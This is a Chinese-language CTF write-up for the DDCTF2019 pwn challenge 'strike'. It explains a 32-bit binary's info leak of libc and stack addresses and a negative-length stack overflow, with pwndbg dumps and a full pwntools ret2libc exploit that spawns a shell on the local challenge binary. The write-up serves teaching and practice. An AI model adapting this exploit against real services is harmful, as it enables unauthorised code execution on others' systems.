DDCTF2019 Pwn strike
TOC
- 1. 程序功能介绍
- 1.1. 安全防护
- 1.2. 主程序
- 1.3. input_username
- 2. 漏洞
- 2.1. 泄露libc基地址和栈地址
- 2.2. 构造stack
- 3. 完整脚本
- 4. 总结
源文件、IDA分析文件打包下载:xpwn.zip 。
该题主要考验的是对栈的构造能力。在破坏栈的情况下也能使栈继续正常使用。
程序功能介绍
安全防护
ex@Ex:~/test$ checksec xpwn [*] '/home/ex/test/xpwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
|
主程序
int __cdecl main(int a1) { int v1; char buf; size_t nbytes; int *v5;
v5 = &a1; setbuf(stdout, 0); input_username(stdin, stdout); sleep(1u); printf("Please set the length of password: "); nbytes = get_number(); if ( (signed int)nbytes > 63 ) { puts("Too long!"); exit(1); } printf("Enter password(lenth %u): ", nbytes); v1 = fileno(stdin); read(v1, &buf, nbytes); puts("All done, bye!"); return 0; }
|
get_number()
就是从输入流读取一个数字,所以由用户来决定,具体代码可以看鄙人的IDA分析文件。
int __cdecl input_username(FILE *stdin, FILE *stdout) { int v2; char buf;
printf("Enter username: "); v2 = fileno(stdin); read(v2, &buf, 64u); return fprintf(stdout, "Hello %s", &buf); }
|
直接用read
来读取输入流,意味着连\x00
截断都没有。
漏洞
我们可以通过read
函数泄露程序的libc基地址和栈地址。而主函数里面虽然对用户输入的数字有最大检查,却没有负数检查,所以程序存在栈溢出,在配合之前泄露的休息即可getshell。
- 泄露libc基地址和栈地址
- 构造stack
泄露libc基地址和栈地址
先用gdb调试一下,看看在input_username的栈的信息。
Breakpoint *0x08048610 pwndbg> stack 00:0000│ esp 0xffffcca0 ◂— 0x0 01:0004│ 0xffffcca4 —▸ 0xffffccb0 ◂— 0x61616161 ('aaaa') 02:0008│ 0xffffcca8 ◂— 0x40 /* '@' */ 03:000c│ 0xffffccac ◂— 0x0 04:0010│ ecx 0xffffccb0 ◂— 0x61616161 ('aaaa') 05:0014│ 0xffffccb4 —▸ 0x804820a ◂— add byte ptr [eax], al 06:0018│ 0xffffccb8 ◂— 0xc2 07:001c│ 0xffffccbc ◂— 0x0 pwndbg> 08:0020│ 0xffffccc0 —▸ 0xf7fdf409 (do_lookup_x+9) ◂— add ebx, 0x1dbf7 09:0024│ 0xffffccc4 —▸ 0xf7de3318 ◂— inc ebx /* 'C,' */ 0a:0028│ 0xffffccc8 —▸ 0xf7e3e15b (setbuffer+11) ◂— add edi, 0x16fea5 0b:002c│ 0xffffcccc ◂— 0x0 0c:0030│ 0xffffccd0 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 0d:0034│ 0xffffccd4 ◂— 0x0 0e:0038│ 0xffffccd8 —▸ 0xffffcd68 ◂— 0x0 0f:003c│ 0xffffccdc —▸ 0xf7e44785 (setbuf+21) ◂— add esp, 0x1c pwndbg> 10:0040│ 0xffffcce0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887 11:0044│ 0xffffcce4 ◂— 0x0 12:0048│ 0xffffcce8 ◂— 0x2000 13:004c│ 0xffffccec —▸ 0xf7e44770 (setbuf) ◂— sub esp, 0x10 14:0050│ 0xffffccf0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887 15:0054│ 0xffffccf4 —▸ 0xf7ffd940 ◂— 0x0 16:0058│ ebp 0xffffccf8 —▸ 0xffffcd68 ◂— 0x0 17:005c│ 0xffffccfc —▸ 0x80486a3 ◂— add esp, 0x10 pwndbg> p setbuf $1 = {void (_IO_FILE *, char *)} 0xf7e44770 <setbuf> pwndbg> p 0xffffccec-0xffffccb0 $2 = 60
|
从上面的栈可以看出,我们只要填充60个字符,便会溢出后面的值,而且下面的刚好是ebp的值,所以我们能直接确定栈地址。
16:0058│ ebp 0xffffccf8 —▸ 0xffffcd68 ◂— 0x0
|
下面是对应的代码
sh.recvuntil('Enter username: ') sh.send('a' * 60) sh.recvuntil('a' * 60) setbuf_addr = sh.recv(4) sh.recv(4 * 2) main_ebp_addr = u32(sh.recv(4)) log.success('main_ebp_addr: ' + hex(main_ebp_addr)) libc_addr = u32(setbuf_addr) - libc.symbols['setbuf'] log.success('libc_addr: ' + hex(libc_addr))
|
构造stack
难点在于溢出时能恢复stack,如果不恢复stack,程序将直接崩溃。
让我们来看看main
结尾的汇编代码:
.text:0804873A lea esp, [ebp-8] .text:0804873D pop ecx .text:0804873E pop ebx .text:0804873F pop ebp .text:08048740 lea esp, [ecx-4] .text:08048743 retn .text:08048743 ; } // starts at 8048669 .text:08048743 main endp
|
从lea esp, [ebp-8]
和lea esp, [ecx-4]
看出,我们必须先计算好相对应的偏移,这里我输入的password是aaaa
,下面是调试的代码。
Breakpoint 4, 0x0804873a in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────── EAX 0x0 EBX 0x8 ECX 0xf7faedc7 (_IO_2_1_stdout_+71) ◂— 0xfaf8900a EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0x0 ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EBP 0xffffcd68 ◂— 0x0 ESP 0xffffcd10 ◂— 0x0 EIP 0x804873a ◂— lea esp, [ebp - 8] ──────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────── ► 0x804873a lea esp, [ebp - 8] 0x804873d pop ecx 0x804873e pop ebx 0x804873f pop ebp 0x8048740 lea esp, [ecx - 4] 0x8048743 ret ↓ 0xf7deee81 <__libc_start_main+241> add esp, 0x10 0xf7deee84 <__libc_start_main+244> sub esp, 0xc 0xf7deee87 <__libc_start_main+247> push eax 0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0> 0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8] ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 20:0080│ 0xffffcd80 ◂— 0x1 21:0084│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn' 22:0088│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim' 23:008c│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0 24:0090│ 0xffffcd90 ◂— 0x1 25:0094│ 0xffffcd94 ◂— 0x0 26:0098│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 27:009c│ 0xffffcd9c —▸ 0xf7fe575a (call_init.part+26) ◂— add edi, 0x178a6 ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► f 0 804873a f 1 f7deee81 __libc_start_main+241 Breakpoint *0x0804873A pwndbg> stack 00:0000│ esp 0xffffcd10 ◂— 0x0 ... ↓ 03:000c│ 0xffffcd1c ◂— 'aaaa\n' 04:0010│ 0xffffcd20 ◂— 0xa /* '\n' */ 05:0014│ 0xffffcd24 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn' 06:0018│ 0xffffcd28 —▸ 0xf7e064a9 (__new_exitfn+9) ◂— add ebx, 0x1a7b57 07:001c│ 0xffffcd2c —▸ 0xf7fb1748 (__exit_funcs_lock) ◂— 0x0 pwndbg> x/wx $ebp-8 0xffffcd08: 0xffffcd60 pwndbg> p 0xffffcd60-0xffffcd1c $3 = 68 pwndbg> x/wx 0xffffcd60 0xffffcd60: 0xffffcd80 pwndbg> p 0xffffcd80-0xffffcd68 $4 = 24
|
可以看出password的地址是0xffffcd1c
,我们需要恢复的地址是0xffffcd60
,上面已经计算出他与password的地址的偏移是68
,所以开始的时候要先偏移68('a' * (68)
)。0xffffcd68
是ebp
,而0xffffcd80
为我们需要恢复的值,他和ebp
的偏移是24
,所以后面加上即可(main_ebp_addr + 24
)。
然后直接stepret
运行到ret
处:
0x08048743 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────── EAX 0x0 EBX 0x0 ECX 0xffffcd80 ◂— 0x1 EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0x0 ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EBP 0x0 ESP 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10 EIP 0x8048743 ◂— ret ──────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────── 0x804873a lea esp, [ebp - 8] 0x804873d pop ecx 0x804873e pop ebx 0x804873f pop ebp 0x8048740 lea esp, [ecx - 4] ► 0x8048743 ret <0xf7deee81; __libc_start_main+241> ↓ 0xf7deee81 <__libc_start_main+241> add esp, 0x10 0xf7deee84 <__libc_start_main+244> sub esp, 0xc 0xf7deee87 <__libc_start_main+247> push eax 0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0> 0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8] ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ esp 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10 01:0004│ ecx 0xffffcd80 ◂— 0x1 02:0008│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn' 03:000c│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim' 04:0010│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0 05:0014│ 0xffffcd90 ◂— 0x1 06:0018│ 0xffffcd94 ◂— 0x0 07:001c│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► f 0 8048743 f 1 f7deee81 __libc_start_main+241 pwndbg> p 0xffffcd7c-0xffffcd1c $5 = 96
|
0xffffcd1c
为我们输入的password字符串的地址,0xffffcd7c
为main函数的返回地址,他们的偏移是96
,所以我们要精心构建stack,让我们的system
函数地址刚好在main函数的返回地址处('a' * (96-68-4)
68和4为前面的填充)。
下面是对应的代码
sh.recvuntil('Please set the length of password: ') sh.sendline('-1')
sh.recvuntil('): ') system_addr = libc_addr + libc.symbols['system'] log.success('system_addr: ' + hex(system_addr)) binsh_addr = libc_addr + libc.search('/bin/sh').next() log.success('binsh_addr: ' + hex(binsh_addr))
sh.send('a'*(68) + p32(main_ebp_addr + 24) + 'a'*(96-68-4) + p32(system_addr) + p32(libc_addr + libc.symbols['exit']) + p32(binsh_addr))
|
p32(libc_addr + libc.symbols['exit'])
是为了让程序能够正常退出。
完整脚本
from pwn import *
elf = ELF('./xpwn')
sh = process('./xpwn') libc = ELF('/lib/i386-linux-gnu/libc.so.6')
f = open('pid', 'w') f.write(str(proc.pidof(sh)[0])) f.close()
sh.recvuntil('Enter username: ') sh.send('a' * 60) sh.recvuntil('a' * 60) setbuf_addr = sh.recv(4) sh.recv(4 * 2) main_ebp_addr = u32(sh.recv(4)) log.success('main_ebp_addr: ' + hex(main_ebp_addr)) libc_addr = u32(setbuf_addr) - libc.symbols['setbuf'] log.success('libc_addr: ' + hex(libc_addr))
sh.recvuntil('Please set the length of password: ') sh.sendline('-1')
sh.recvuntil('): ') system_addr = libc_addr + libc.symbols['system'] log.success('system_addr: ' + hex(system_addr)) binsh_addr = libc_addr + libc.search('/bin/sh').next() log.success('binsh_addr: ' + hex(binsh_addr))
sh.send('a'*(68) + p32(main_ebp_addr + 24) + 'a'*(96-68-4) + p32(system_addr) + p32(libc_addr + libc.symbols['exit']) + p32(binsh_addr) + p32(0))
sh.interactive()
os.system("rm -f pid")
|
运行实例
ex@Ex:~/test$ ./exp.py [*] '/home/ex/test/xpwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Starting local process './xpwn': Done [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] main_ebp_addr: 0xffbf25b8 [+] libc_addr: 0xf7d93000 [+] system_addr: 0xf7dd0200 [+] binsh_addr: 0xf7f110cf [*] Switching to interactive mode All done, bye! $ id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark) $
|
总结
代码审计得到的结果总是会有些许偏差,多上机调试,这样会更快发现漏洞在哪。